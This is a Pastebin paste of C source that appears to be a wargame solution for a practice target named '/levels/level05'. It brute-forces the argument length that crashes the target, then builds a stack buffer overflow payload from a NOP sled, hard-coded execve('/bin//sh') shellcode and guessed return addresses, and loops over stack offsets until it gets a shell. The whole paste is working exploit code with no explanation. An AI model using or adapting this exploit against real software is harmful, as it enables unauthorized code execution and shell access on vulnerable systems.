Advertisement
Guest User

Untitled

a guest
Nov 25th, 2014
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.79 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #define NOP 0x90
  6. const int targetsz = 128;
  7. const int shcsz = 3*8+1;
  8. const char shellcode[] =
  9.     "\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  10.     "\x68\x2f\x2f\x62\x69\x89\xe3\x50"
  11.     "\x89\xe2\x53\x89\xe1\xb0\x0b\xcd"
  12.     "\x80";
  13.  
  14. unsigned long get_sp(void) {
  15.        __asm__("movl %esp,%eax");
  16. }
  17.  
  18. int main(int argc, char **argv) {
  19.  
  20.     unsigned long int sp = get_sp();
  21.  
  22.     int az;
  23.     char *ab;
  24.     int rc;
  25.     for (az=targetsz; az<512 ;++az) {
  26.         ab = calloc(az, sizeof(char));
  27.         if (ab == NULL) { fprintf(stderr, "!!!\n"); return -1; }
  28.         memset(ab, 'A', az);
  29.         ab[az-1] = '\0';
  30.         setenv("QQQ", ab, 1);
  31.         rc = system("/levels/level05 $QQQ");
  32.         free(ab);
  33.         if (rc == 139) {
  34.             printf("buffer size: %d, return code: %d\n", az, rc);
  35.             break;
  36.         }  
  37.     }  
  38.     az = ((az+3) & ~3) + 1;
  39.     printf("buffer size: rounded to %d\n", az);
  40.     ab = calloc(az, sizeof(char));
  41.  
  42.     unsigned long int *lab = (unsigned long int*)ab;
  43.     int laz = az / sizeof(unsigned long int);
  44.  
  45.     // fill with nops
  46.     memset(ab, NOP, az-1);
  47.     // and then the shell code
  48.     memcpy(ab+targetsz-shcsz, shellcode, shcsz);
  49.     for (int offset=0; offset<1024; offset+=16) {
  50.         for (int i=targetsz/sizeof(unsigned long int); i<laz; ++i) {
  51.             lab[i] = sp-offset;
  52.  
  53.         }  
  54.         // lastly a null
  55.         ab[az-1] = '\0';
  56.         setenv("QQQ", ab, 1);
  57.         printf("offset: %d, address:%lx\n", offset, lab[laz-1]);
  58.         //rc = system("gdb /levels/level05 -ex \"set arg '$QQQ'\"");
  59.         rc = system("/levels/level05 \"$QQQ\"");
  60.         printf("rc: %d\n", rc);
  61.         if (rc == 0) {
  62.             return 0;
  63.         }
  64.     }
  65.  
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement